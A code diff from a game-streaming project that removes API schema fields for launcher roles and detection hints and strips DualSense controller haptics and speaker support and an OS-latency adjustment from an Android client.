-                "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)."
-              },
              "title": {
                "type": "string"
              }
@@ -4516,17 +4467,6 @@
        "type": "object",
        "description": "What an operator (or a provider plugin) can tell the host about recognizing a title — the wire\nhalf of [`DetectSpec`], and the only part of it that is ever accepted from outside.\n\nDeliberately a **subset**: the store-derived signals (a Steam appid, a launcher's environment\nmarker) are things the host discovers for itself and would be meaningless — or dangerous — to take\non someone's word. What is left is what a provider genuinely knows and the host cannot guess: where\nthe title is installed, which executable is the game, what the process is called. All three are\noptional; supplying none is the same as supplying no hint at all.\n\nNever returned by the catalog API — see the module docs on why detect data does not cross the wire\noutbound.",
        "properties": {
-          "env_marker": {
-            "oneOf": [
-              {
-                "type": "null"
-              },
-              {
-                "$ref": "#/components/schemas/EnvMarker",
-                "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]."
-              }
-            ]
-          },
          "exe": {
            "type": [
              "string",
@@ -4547,15 +4487,6 @@
              "null"
            ],
            "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]."
-          },
-          "steam_appid": {
-            "type": [
-              "integer",
-              "null"
-            ],
-            "format": "int32",
-            "description": "The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**\nsignal that exists — Steam wraps every launch, native or Proton, in\n`reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a\nsteam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.",
-            "minimum": 0
          }
        }
      },
@@ -4784,27 +4715,6 @@
          }
        }
      },
-      "EnvMarker": {
-        "type": "object",
-        "description": "An environment variable a launcher stamps onto the game's process, identifying it.\n\nSerializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin\nthat knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to\nbe able to say so, since after extraction the host no longer reads that launcher's files itself.",
-        "required": [
-          "key"
-        ],
-        "properties": {
-          "key": {
-            "type": "string",
-            "description": "The variable name (e.g. `HEROIC_GAME_ID`).",
-            "example": "HEROIC_APP_NAME"
-          },
-          "value": {
-            "type": [
-              "string",
-              "null"
-            ],
-            "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time."
-          }
-        }
-      },
      "EventKind": {
        "oneOf": [
          {
@@ -5255,10 +5165,6 @@
                ],
                "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it."
              },
-              "role": {
-                "$ref": "#/components/schemas/GameRole",
-                "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
-              },
              "store": {
                "type": "string",
                "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`.",
@@ -5390,14 +5296,6 @@
          }
        }
      },
-      "GameRole": {
-        "type": "string",
-        "description": "What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big\nPicture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,\nleases and lists exactly like a game (design D4), and clients that don't know the field render it\nas a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged\nfor every entry that doesn't opt in.",
-        "enum": [
-          "game",
-          "launcher"
-        ]
-      },
      "GameSession": {
        "type": "string",
        "description": "How a session that **launches a game** (a library id on the Hello / apps.json / Decky pin) is\nserved (`design/gamemode-and-dedicated-sessions.md` §5.2). Orthogonal to the preset/lifecycle axes\n— a top-level [`DisplayPolicy`] field, NOT part of [`EffectivePolicy`], so a preset never clobbers\nit. Linux-only in effect (a launching Windows session opens into the one desktop).",
@@ -6436,13 +6334,6 @@
          "title"
        ],
        "properties": {
-          "category": {
-            "type": [
-              "string",
-              "null"
-            ],
-            "description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category."
-          },
          "title": {
            "type": "string",
            "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)."
@@ -6475,13 +6366,6 @@
          "title"
        ],
        "properties": {
-          "category": {
-            "type": [
-              "string",
-              "null"
-            ],
-            "description": "The plugin's kind — see [`PluginRegistration::category`]."
-          },
          "id": {
            "type": "string"
          },
@@ -6720,10 +6604,6 @@
                },
                "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
              },
-              "role": {
-                "$ref": "#/components/schemas/GameRole",
-                "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`."
-              },
              "title": {
                "type": "string"
              }
@@ -6900,46 +6780,26 @@
      },
      "ScannerInfo": {
        "type": "object",
-        "description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible.",
+        "description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host.",
        "required": [
          "id",
          "label",
-          "enabled",
-          "origin"
+          "enabled"
        ],
        "properties": {
          "enabled": {
            "type": "boolean",
-            "description": "Whether this host runs the source (default true)."
-          },
-          "entries": {
-            "type": [
-              "integer",
-              "null"
-            ],
-            "description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle.",
-            "minimum": 0
+            "description": "Whether this host runs the scanner (default true)."
          },
          "id": {
            "type": "string",
-            "description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin.",
+            "description": "Stable scanner id — the same string the scanner's entries carry in their `store` field.",
            "example": "steam"
          },
          "label": {
            "type": "string",
            "description": "Human-facing name for the console toggle.",
            "example": "Steam"
-          },
-          "origin": {
-            "$ref": "#/components/schemas/SourceOrigin",
-            "description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`."
-          },
-          "provider": {
-            "type": [
-              "string",
-              "null"
-            ],
-            "description": "The provider id backing a `plugin` source — absent for a built-in scanner."
          }
        }
      },
@@ -7102,14 +6962,6 @@
          }
        }
      },
-      "SourceOrigin": {
-        "type": "string",
-        "description": "Where a [`ScannerInfo`] comes from.",
-        "enum": [
-          "builtin",
-          "plugin"
-        ]
-      },
      "SourceView": {
        "type": "object",
        "description": "A configured catalog source and how its last refresh went.",
@@ -410,68 +410,17 @@ private fun DsRow(usbDev: android.hardware.usb.UsbDevice) {
                        Text("Grant USB access")
                    }
                }
-                else -> {
-                    Text(
-                        if (model == DsDevice.Model.DUALSHOCK4) {
-                            "Ready — captured at stream start: rumble, lightbar and gyro are " +
-                                "driven directly."
-                        } else {
-                            "Ready — captured at stream start: rumble, adaptive triggers, lightbar " +
-                                "and gyro are driven directly."
-                        },
-                        style = MaterialTheme.typography.bodySmall,
-                        color = MaterialTheme.colorScheme.onSurfaceVariant,
-                    )
-                    // Pad-audio self test. Deliberately reachable WITHOUT a stream: it exists to
-                    // answer "can this phone drive this pad's audio endpoint at all", and gating
-                    // that behind a live session would make it depend on the very thing one wants
-                    // to rule out when a session misbehaves. DualSense only — the DS4 has no
-                    // 4-channel haptics device.
-                    if (model != DsDevice.Model.DUALSHOCK4) {
-                        var testing by remember { mutableStateOf(false) }
-                        var result by remember { mutableStateOf<String?>(null) }
-                        result?.let {
-                            Text(
-                                it,
-                                style = MaterialTheme.typography.bodySmall,
-                                color = MaterialTheme.colorScheme.onSurfaceVariant,
-                            )
-                        }
-                        OutlinedButton(
-                            enabled = !testing,
-                            onClick = {
-                                testing = true
-                                result = null
-                                Thread({
-                                    // Its OWN connection: the renderer's descriptor must never be
-                                    // shared with another transfer engine, and that applies to
-                                    // this test as much as to the real path.
-                                    val conn = runCatching { usbManager.openDevice(usbDev) }.getOrNull()
-                                    val fd = conn?.fileDescriptor ?: -1
-                                    val r = if (fd >= 0) {
-                                        io.unom.punktfunk.kit.NativeBridge.nativePadAudioSelfTest(fd, 3, 60)
-                                    } else {
-                                        -1
-                                    }
-                                    conn?.close()
-                                    val msg = when {
-                                        r > 0 -> "Haptics test passed — $r frames to the pad."
-                                        r == -1 -> "Could not open the pad's audio interface. " +
-                                            "Some kernels refuse it; the pad still works normally."
-                                        r == -2 -> "The audio stream stopped part-way."
-                                        else -> "The stream opened but no audio reached the pad."
-                                    }
-                                    android.os.Handler(android.os.Looper.getMainLooper()).post {
-                                        result = msg
-                                        testing = false
-                                    }
-                                }, "pf-pad-selftest-ui").start()
-                            },
-                        ) {
-                            Text(if (testing) "Testing…" else "Test haptics")
-                        }
-                    }
-                }
+                else -> Text(
+                    if (model == DsDevice.Model.DUALSHOCK4) {
+                        "Ready — captured at stream start: rumble, lightbar and gyro are " +
+                            "driven directly."
+                    } else {
+                        "Ready — captured at stream start: rumble, adaptive triggers, lightbar " +
+                            "and gyro are driven directly."
+                    },
+                    style = MaterialTheme.typography.bodySmall,
+                    color = MaterialTheme.colorScheme.onSurfaceVariant,
+                )
            }
        }
    }
@@ -84,9 +84,6 @@ suspend fun connectToHost(
            // The host's approval-list / trust-store label for this device — the same
            // Build.MODEL convention the pairing dialogs use for nativePair.
            Build.MODEL ?: "Android",
-            // Tier-A pad audio: ask for the 0xD1 plane only when a setting would render it, so a
-            // user with it off does not make the host provision endpoints it will never feed.
-            settings.padHaptics || settings.padSpeaker,
        )
    }
 }
@@ -170,26 +170,6 @@ data class Settings(
     */
    val dsCapture: Boolean = true,

-    /**
-     * Render the host's DualSense **voice-coil haptics** on a captured USB pad (tier A).
-     *
-     * The pad's own 4-channel audio device carries them, driven directly over usbfs — Android's
-     * audio framework denylists that device by VID/PID, so there is no supported route to it. The
-     * two kinds are arbitrated rather than mixed, and on evidence: wire rumble is suppressed only
-     * while haptics frames are actually arriving, so a title that drives classic rumble and sends
-     * no haptics audio keeps rumbling. Off, or on an uncaptured/Bluetooth pad, the pad stays on
-     * ordinary rumble (tier C), which on this client already drives the same actuators.
-     */
-    val padHaptics: Boolean = true,
-
-    /**
-     * Render the pad's **built-in speaker** on a captured USB pad. Independent of [padHaptics] —
-     * the host sends the two as separate streams and either can play alone. Off by default: the
-     * speaker is a small, easily-startling loudspeaker in the user's hands, and unlike haptics it
-     * duplicates audio they are already hearing.
-     */
-    val padSpeaker: Boolean = false,
-
    /**
     * How a physical mouse drives the host — the cross-client mouse model (see [MouseMode]).
     * [MouseMode.DESKTOP] (default here) points absolutely; [MouseMode.CAPTURE] locks the pointer
@@ -291,8 +271,6 @@ class SettingsStore(context: Context) {
        rumbleOnPhone = prefs.getBoolean(K_RUMBLE_ON_PHONE, false),
        sc2Capture = prefs.getBoolean(K_SC2_CAPTURE, true),
        dsCapture = prefs.getBoolean(K_DS_CAPTURE, true),
-        padHaptics = prefs.getBoolean(K_PAD_HAPTICS, true),
-        padSpeaker = prefs.getBoolean(K_PAD_SPEAKER, false),
        mouseMode = prefs.getString(K_MOUSE_MODE, null)
            ?.let { name -> MouseMode.entries.firstOrNull { it.storedName == name } }
            // Migration: the pre-enum Boolean "pointer_capture" (true = lock the pointer). Its
@@ -330,8 +308,6 @@ class SettingsStore(context: Context) {
            .putBoolean(K_RUMBLE_ON_PHONE, s.rumbleOnPhone)
            .putBoolean(K_SC2_CAPTURE, s.sc2Capture)
            .putBoolean(K_DS_CAPTURE, s.dsCapture)
-            .putBoolean(K_PAD_HAPTICS, s.padHaptics)
-            .putBoolean(K_PAD_SPEAKER, s.padSpeaker)
            .putString(K_MOUSE_MODE, s.mouseMode.storedName)
            .putBoolean(K_INVERT_SCROLL, s.invertScroll)
            .apply()
@@ -379,8 +355,6 @@ class SettingsStore(context: Context) {
        const val K_RUMBLE_ON_PHONE = "rumble_on_phone"
        const val K_SC2_CAPTURE = "sc2_capture"
        const val K_DS_CAPTURE = "ds_capture"
-        const val K_PAD_HAPTICS = "pad_haptics"
-        const val K_PAD_SPEAKER = "pad_speaker"
        const val K_MOUSE_MODE = "mouse_mode"

        /** Legacy Boolean the [K_MOUSE_MODE] enum replaced — read once for migration, never written. */
@@ -896,22 +896,6 @@ private fun ControllerSettings(s: Settings, update: (Settings) -> Unit, onOpenCo
                enabled = s.gamepadForwarding,
                onCheckedChange = { on -> update(s.copy(dsCapture = on)) },
            )
-            // Both only ever apply to a captured pad, so they follow that row and gate on it.
-            ToggleRow(
-                title = "Controller haptics",
-                subtitle = "Play the host's fine-grained DualSense haptics on the pad itself — " +
-                    "the pad keeps ordinary rumble for games that don't send them",
-                checked = s.padHaptics,
-                enabled = s.gamepadForwarding && s.dsCapture,
-                onCheckedChange = { on -> update(s.copy(padHaptics = on)) },
-            )
-            ToggleRow(
-                title = "Controller speaker",
-                subtitle = "Play audio the game sends to the controller's own speaker",
-                checked = s.padSpeaker,
-                enabled = s.gamepadForwarding && s.dsCapture,
-                onCheckedChange = { on -> update(s.copy(padSpeaker = on)) },
-            )
        }
    }
 }
@@ -26,25 +26,13 @@ import kotlin.math.roundToInt
 * presentsWindow, presenterActive, feedP50Ms, codecP50Ms, skippedOverflowWindow]`. Every read
 * is length-guarded, so an older native lib simply omits the lines it can't feed.
 *
- * The shown `display` and `end-to-end` numbers EXCLUDE the OS present floor (see [osFloorMs]) at
- * every tier, and the detailed tier names what was excluded on its own line. The principle is the
- * Apple client's: metrics report what Punktfunk controls, so the compositor's own latch and scanout
- * — which no client can pace under — is reported rather than charged. It also stops the HUD reading
- * worse than it is: the usual Android streaming overlays stop measuring at decode-complete, so a
- * headline that carried the compositor's wait was compared against numbers that never contained it.
- *
- * The RAW figures are not lost — the native 1 Hz `pf.present` logcat line keeps `paceMs`, `latchMs`
- * and `e2eMs` unshaved, so a HUD-off A/B and any cross-session comparison still work off the
- * untouched numbers.
- *
 * [verbosity] selects how many lines render (each tier a superset of the last — see
 * [StatsVerbosity]):
 * - [StatsVerbosity.COMPACT] — one line, `fps · end-to-end ms · Mb/s` (+ a loss flag).
 * - [StatsVerbosity.NORMAL] — the res/fps/Mb·s line, the end-to-end p50/p95 headline, and the
 *   reliability counters (18–21) when nonzero.
- * - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), the
- *   stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero),
- *   and the excluded-floor line when one was measured.
+ * - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), and the
+ *   stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero).
 * [StatsVerbosity.OFF] renders nothing. Older native layouts simply omit the lines they lack (the
 * counter line falls back to the cumulative `lostTotal` at index 9 on a pre-window lib).
 */
@@ -107,15 +95,9 @@ internal fun StatsOverlay(
            // equation gains its `display` term; otherwise (older lib / no callbacks) the endpoint
            // honestly stays capture→decoded — the equation always tiles the headline interval.
            val dispValid = s.size >= 26 && s[22] != 0.0
-            // The OS present floor this window (see [osFloorMs]) is excluded from every shown
-            // display / end-to-end number, at every tier — it is pipeline depth no client can pace
-            // under, so charging it to Punktfunk made our HUD read worse than clients that simply
-            // never measure it. 0.0 when unmeasured, which leaves the numbers exactly as raw as
-            // they were.
-            val floorMs = osFloorMs(s)
            val tag = if (skew) "" else " (same-host clock)"
            val (p50, p95, endpoint) = if (dispValid) {
-                Triple(shave(s[24], floorMs), shave(s[25], floorMs), "capture→displayed")
+                Triple(s[24], s[25], "capture→displayed")
            } else {
                Triple(s[2], s[3], "capture→decoded")
            }
@@ -138,11 +120,6 @@ internal fun StatsOverlay(
                // dropping/serializing, an fps deficit is upstream.
                val split = s.size >= 30 && s[29] != 0.0 && (s[26] > 0 || s[27] > 0)
                val displayTerm = when {
-                    // Floor excluded: what remains of the `display` term is the half Punktfunk
-                    // owns (the presenter's pace wait), and the excluded line below carries the
-                    // latch — printing the split too would report the same milliseconds twice.
-                    dispValid && floorMs > 0 ->
-                        " + display ${"%.1f".format(shave(s[23], floorMs))}"
                    dispValid && split ->
                        " + display ${"%.1f".format(s[23])} " +
                            "(pace ${"%.1f".format(s[26])} + latch ${"%.1f".format(s[27])})"
@@ -166,14 +143,16 @@ internal fun StatsOverlay(
                    "= $hostTerms + $decodeTerm$displayTerm$presents",
                    Color.White,
                )
-                // What the numbers above leave out, named — the Apple client's
-                // `os present +N excluded` line, same wording so the two HUDs read alike.
-                // (This replaces the old "≈ Apple-HUD equiv" twin: both clients now shave, and
-                // Android's shave is measured rather than assumed at 2 refresh periods.)
-                if (floorMs > 0) {
+                // Metric fairness: the Apple client's HUD shaves ~2 refresh periods of OS
+                // pipeline floor off its shown display/end-to-end; Android shows raw. This twin
+                // applies the same shave so iPhone↔Android HUD numbers compare directly.
+                if (dispValid && hz > 0) {
+                    val shave = 2000.0 / hz
                    statLine(
-                        "os present +${"%.1f".format(floorMs)} excluded (display pipeline minimum)",
-                        Color(0xFF9AA6B8),
+                        "≈ Apple-HUD equiv: end-to-end " +
+                            "${"%.1f".format((s[24] - shave).coerceAtLeast(0.0))} · display " +
+                            "${"%.1f".format((s[23] - shave).coerceAtLeast(0.0))} (−2 refresh)",
+                        Color(0xFFA8D8B8),
                    )
                }
            }
@@ -188,37 +167,6 @@ private fun statLine(text: String, color: Color) {
    Text(text, color = color, fontFamily = FontFamily.Monospace, fontSize = 12.sp)
 }

-/**
- * The OS present floor to exclude from the shown `display` / `end-to-end` numbers, ms — the
- * measured `latch` p50 at index 27, i.e. release→`OnFrameRendered`: SurfaceFlinger's own latch and
- * scanout. That is compositor pipeline depth no client can pace under, so it is reported as
- * excluded rather than charged to Punktfunk — the Apple client's policy since its presentation
- * rebuild, where the same floor is measured from the display link's vend lead.
- *
- * Measured, not assumed: the previous Android treatment used a fixed `2000/hz` twin, but the latch
- * varies with panel rate, tunnelled playback and the vendor's low-latency mode (~21 ms p50 observed
- * where the ~2-interval model predicts less), and this term self-adapts to all three. It is also
- * available on every render path — the presenter's and both legacy release-immediately ones — since
- * the release stamp it starts from is parked on every render, so it does not depend on
- * `presenterActive` (29).
- *
- * `0.0` means unmeasured — no display stage this window (an older native lib, API < 33, or a
- * platform that refused the callback), or no latch sample paired — and every caller then leaves its
- * number raw, which is the honest fallback: we exclude only what we actually measured.
- */
-private fun osFloorMs(s: DoubleArray): Double {
-    val dispValid = s.size >= 26 && s[22] != 0.0
-    if (!dispValid || s.size < 28) return 0.0
-    return s[27].coerceAtLeast(0.0)
-}
-
-/**
- * Subtract the excluded [floorMs] from a shown latency [ms], clamped at zero — the percentiles are
- * drawn from different sample sets (a p50 latch against a p50/p95 end-to-end), so the difference can
- * legitimately go slightly negative on a well-paced window without anything being wrong.
- */
-private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAtLeast(0.0)
-
 /**
 * The single [StatsVerbosity.COMPACT] line: `238 fps · 1.3 ms · 921 Mb/s`. The end-to-end p50 term
 * is dropped when no in-range latency sample landed (`latValid` false), and a loss flag
@@ -226,9 +174,8 @@ private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAt
 * one reliability signal worth surfacing even at the tersest tier.
 */
 private fun compactLine(s: DoubleArray, latValid: Boolean): String {
-    // Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window,
-    // less the excluded OS present floor — the same number the richer tiers headline.
-    val e2eP50 = if (s.size >= 26 && s[22] != 0.0) shave(s[24], osFloorMs(s)) else s[2]
+    // Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window.
+    val e2eP50 = if (s.size >= 26 && s[22] != 0.0) s[24] else s[2]
    val parts = buildList {
        add("${s[0].roundToInt()} fps")
        if (latValid) add("${"%.1f".format(e2eP50)} ms")
@@ -507,28 +507,6 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) {
        var dsUsbReceiver: BroadcastReceiver? = null
        if (ds != null) {
            feedback.sink = ds
-            // Tier-A pad audio: render the host's 0xD1 streams on the pad's own 4-channel USB
-            // audio device. Bound here rather than inside DsCapture because the session handle
-            // lives at this layer; DsCapture decides WHEN (it knows the wire index and the link
-            // lifetime), this decides WHETHER.
-            if (initialSettings.padHaptics || initialSettings.padSpeaker) {
-                ds.padAudio = object : DsCapture.PadAudioHook {
-                    override fun start(pad: Int, fd: Int) {
-                        val ok = NativeBridge.nativeStartPadAudio(
-                            handle,
-                            pad,
-                            fd,
-                            initialSettings.padHaptics,
-                            initialSettings.padSpeaker,
-                        )
-                        Log.i("punktfunk", "pad audio on pad $pad: ${if (ok) "started" else "unavailable"}")
-                    }
-
-                    // Returns only once the render thread is joined — DsCapture calls this before
-                    // closing the connection whose descriptor that thread borrows.
-                    override fun stop(pad: Int) = NativeBridge.nativeStopPadAudio(handle, pad)
-                }
-            }
            val usbManager = context.getSystemService(Context.USB_SERVICE) as UsbManager
            val usbDev = ds.findUsbDevice()
            when {
@@ -355,11 +355,9 @@ internal fun StreamScene(verbosity: StatsVerbosity = StatsVerbosity.DETAILED) {
        // dispValid, displayP50, e2eDispP50, e2eDispP95].
        // 10/9/16/1 = a 10-bit BT.2020 PQ (HDR) 4:2:0 feed so the DETAILED HUD renders its
        // video-feed line; the display stage is valid (dispValid 1) so the headline is the
-        // directly-measured capture→displayed pair, less the excluded OS present floor (the 0.3
-        // latch p50) — 1.5/2.3 shown from 1.8/2.6 raw — and the Phase-2 stage terms
-        // (host 0.6 + network 0.3 + decode 0.4 + display 0.2) tile the shaved headline, with the
-        // `os present +0.3 excluded` line naming what came off; the decoder label shows the ranked
-        // low-latency decoder. Light per-window loss
+        // directly-measured capture→displayed pair (1.8/2.6) and the Phase-2 stage terms
+        // (host 0.6 + network 0.3 + decode 0.4 + display 0.5) tile it, rendering the full split
+        // equation; the decoder label shows the ranked low-latency decoder. Light per-window loss
        // (lost 2 · skipped 1 · FEC 5 of 238) so the reliability line (NORMAL/DETAILED) and the
        // compact loss flag both render.
        StatsOverlay(
@@ -23,9 +23,8 @@ import android.view.InputDevice
 * Input: parse ([DsDevice.parseState]) → typed mirror on an [GamepadRouter.ExternalPad] (buttons
 * diffed, axes on-change — the exit chord participates like any pad) + the rich plane (touch
 * normalized to the wire's 0..65535 screen space on-change; motion forwarded per report in raw
- * device units, the wire's contract). The wire slot is claimed when the capture engages, with the
- * first parsed report as the fallback for a claim that found no free index, and freed on
- * unplug/[stop], so indices never leak.
+ * device units, the wire's contract). The wire slot is claimed lazily on the FIRST parsed report
+ * and freed on unplug/[stop], so indices never leak.
 *
 * Feedback: implements [GamepadFeedback.PadFeedbackSink] — rumble / trigger / lightbar / player
 * LED events addressed to this pad's wire index become USB output reports on the physical pad
@@ -79,33 +78,6 @@ class DsCapture(
    @Volatile
    var onActiveChanged: ((active: Boolean) -> Unit)? = null

-    /**
-     * Tier-A pad audio, bound by the app layer (which owns the session handle).
-     *
-     * [start] is called once the router has assigned this pad a wire index, which the host uses to
-     * address the `0xD1` stream. [stop] is called **before** the USB link closes — on [stop] and on
-     * unplug alike — and must not return until nothing is still writing to the descriptor.
-     */
-    interface PadAudioHook {
-        fun start(pad: Int, fd: Int)
-        fun stop(pad: Int)
-    }
-
-    @Volatile
-    var padAudio: PadAudioHook? = null
-
-    /** True once [PadAudioHook.start] has run for the current capture, so it fires exactly once. */
-    @Volatile private var padAudioStarted = false
-
-    /**
-     * The renderer's OWN connection to the pad.
-     *
-     * It must not share [usb]'s descriptor: two transfer engines on one usbfs descriptor reap each
-     * other's completions (see [HidUsbLink.openAuxConnection]), which strands both the HID reader
-     * and the audio ring. Closed only after the hook's stop has returned.
-     */
-    @Volatile private var padAudioConn: android.hardware.usb.UsbDeviceConnection? = null
-
    val isActive: Boolean get() = model != null

    /** First attached Sony USB pad, for the permission flow. Needs no permission to enumerate. */
@@ -133,17 +105,12 @@ class DsCapture(
        // (the same init hid-playstation/SDL send on open).
        if (m != DsDevice.Model.DUALSHOCK4) usb.writeRaw(0, DsDevice.ds5InitReport(m))
        Log.i(TAG, "Sony pad captured over USB: PID=0x%04x model=%s".format(dev.productId, m))
-        ensureSlot(m)
        onActiveChanged?.invoke(true)
        return true
    }

    /** Stop the link and free the wire slot (host tears the virtual pad down). Idempotent. */
    fun stop() {
-        // Before anything touches the link: the pad-audio renderer borrows this connection's
-        // descriptor, and `usb.stop()` closes it. The hook does not return until its thread is
-        // joined, so ordering this first is what makes the borrow sound.
-        stopPadAudio()
        val m = model
        if (m != null) {
            // The interfaces are about to release with the kernel driver still detached — a
@@ -169,112 +136,16 @@ class DsCapture(
    private fun onReport(report: ByteArray, len: Int) {
        val m = model ?: return
        if (!DsDevice.parseState(m, report, len, state)) return
-        // Normally claimed already, at capture time; this is the retry for a capture that engaged
-        // while every wire index was taken.
-        val p = pad ?: ensureSlot(m) ?: return // all 16 taken — drop until one frees
+        val p = pad ?: router.openExternal(m.pref)?.also {
+            pad = it
+            Log.i(TAG, "captured $m → wire pad ${it.index}")
+        } ?: return // all 16 wire indices taken — drop until one frees
        mirrorTyped(p)
        mirrorRich(p, m)
    }

-    /**
-     * Claim this capture's wire slot and start pad audio on it. Idempotent; null when all 16
-     * indices are taken.
-     *
-     * Claimed when the capture engages rather than on the first report, because a pad that reports
-     * nothing is still a pad: with the lazy claim, a captured-but-silent pad left the host with no
-     * arrival, hence no virtual pad, no pad-audio capability and so no `0xD1` — a renderer sitting
-     * at zero frames, indistinguishable from a broken pipeline (it took a physical replug to
-     * clear). Callable from the main thread (capture start) and the link thread (the fallback).
-     */
-    @Synchronized
-    private fun ensureSlot(m: DsDevice.Model): GamepadRouter.ExternalPad? {
-        pad?.let { return it }
-        val p = router.openExternal(m.pref) ?: return null
-        pad = p
-        Log.i(TAG, "captured $m → wire pad ${p.index}")
-        // The wire index exists from here on, and the host addresses pad audio by it.
-        startPadAudio(p.index)
-        return p
-    }
-
-    /** Hand the renderer its own descriptor. Caller holds the monitor; fires once per capture. */
-    private fun startPadAudio(index: Int) {
-        val hook = padAudio ?: return
-        if (padAudioStarted) return
-        // A dedicated connection, NOT usb.fileDescriptor — see padAudioConn.
-        val conn = usb.openAuxConnection()
-        val fd = conn?.fileDescriptor ?: -1
-        if (fd < 0) {
-            conn?.close()
-            Log.w(TAG, "pad audio: could not open a second USB connection")
-            return
-        }
-        padAudioConn = conn
-        padAudioStarted = true
-        // Real-world self test, opt-in: `adb shell setprop debug.punktfunk.pad_audio_selftest 3`
-        // drives the voice coils for N seconds through the actual client path before the renderer
-        // takes over — the one check that proves the descriptor, the interface claim and the write
-        // path all work on THIS device, without needing a host to be streaming. Same convention as
-        // debug.punktfunk.force_parts.
-        val secs = runCatching {
-            Class.forName("android.os.SystemProperties")
-                .getMethod("get", String::class.java, String::class.java)
-                .invoke(null, "debug.punktfunk.pad_audio_selftest", "0") as String
-        }.getOrNull()?.toIntOrNull() ?: 0
-        if (secs > 0) {
-            // Diagnostic mode: the self test OWNS this descriptor for the capture, and the renderer
-            // must not also drive it — two engines on one usbfs descriptor reap each other's
-            // completions, which is precisely the fault this test exists to expose.
-            Thread({
-                val r = NativeBridge.nativePadAudioSelfTest(fd, secs, 60)
-                Log.i(TAG, "pad audio self-test → ${if (r > 0) "PASS ($r frames)" else "FAIL ($r)"}")
-            }, "pf-pad-selftest").start()
-        } else {
-            // B6: hand the coils back before the first haptics frame. Any rumble earlier in this
-            // session asserted HAPTICS_SELECT, which firmware-mutes them, and nothing else ever
-            // clears it — so without this the stream renders into a muted actuator and looks for
-            // all the world like the host is sending nothing.
-            restoreAudioHaptics()
-            hook.start(index, fd)
-        }
-    }
-
-    /**
-     * B6: clear the rumble/haptics-select bits so the pad's voice coils answer the audio-haptics
-     * path again. EP0-direct, like the other out-of-band writes here: this has to land even when
-     * the interrupt-OUT queue is busy or draining, and it is idempotent.
-     */
-    private fun restoreAudioHaptics() {
-        val m = model ?: return
-        if (m == DsDevice.Model.DUALSHOCK4) return // no voice coils, no audio-haptics path
-        if (!usb.writeControl(DsDevice.ds5AudioHapticsReport(m))) {
-            Log.w(TAG, "pad audio: could not hand the coils back to audio haptics")
-        }
-    }
-
-    /**
-     * Stop the renderer, then close the connection whose descriptor it borrows — in that order.
-     *
-     * Runs on [stop] and on unplug alike. Skipping it on unplug left the render thread writing to a
-     * descriptor whose device was gone, leaked the connection, and — because the started flag stayed
-     * set and the native tier-A registry stayed armed for that index — cost the pad both its pad
-     * audio and its wire rumble on the way back in.
-     */
-    @Synchronized
-    private fun stopPadAudio() {
-        if (!padAudioStarted) return
-        padAudioStarted = false
-        // The hook's stop joins the render thread, so nothing is using the descriptor once it
-        // returns — only then is it safe to close the connection that owns it.
-        pad?.let { padAudio?.stop(it.index) }
-        padAudioConn?.close()
-        padAudioConn = null
-    }
-
    private fun onLinkClosed() {
        Log.i(TAG, "Sony USB link closed (unplug)")
-        // Before releaseSlot(), which forgets the wire index the renderer is addressed by.
-        stopPadAudio()
        disarmBackstop()
        val wasActive = model != null
        model = null
@@ -367,10 +238,6 @@ class DsCapture(
            // write — as this used to — meant a discarded stop left the motors running with
            // nothing scheduled to try again; a USB pad holds its last level until told zero.
            if (sent) disarmBackstop() else armBackstop(STOP_RETRY_MS)
-            // B6: the stop report just re-asserted HAPTICS_SELECT on its way past, so if a
-            // haptics stream is live the coils it drives were muted by the very write that
-            // silenced the motors. Give them back.
-            if (sent && padAudioStarted) restoreAudioHaptics()
        }
    }

@@ -276,21 +276,6 @@ object DsDevice {
     * the classic compat-vibration path AND `VIBRATION2` (firmware ≥ 2.24's full-range replot;
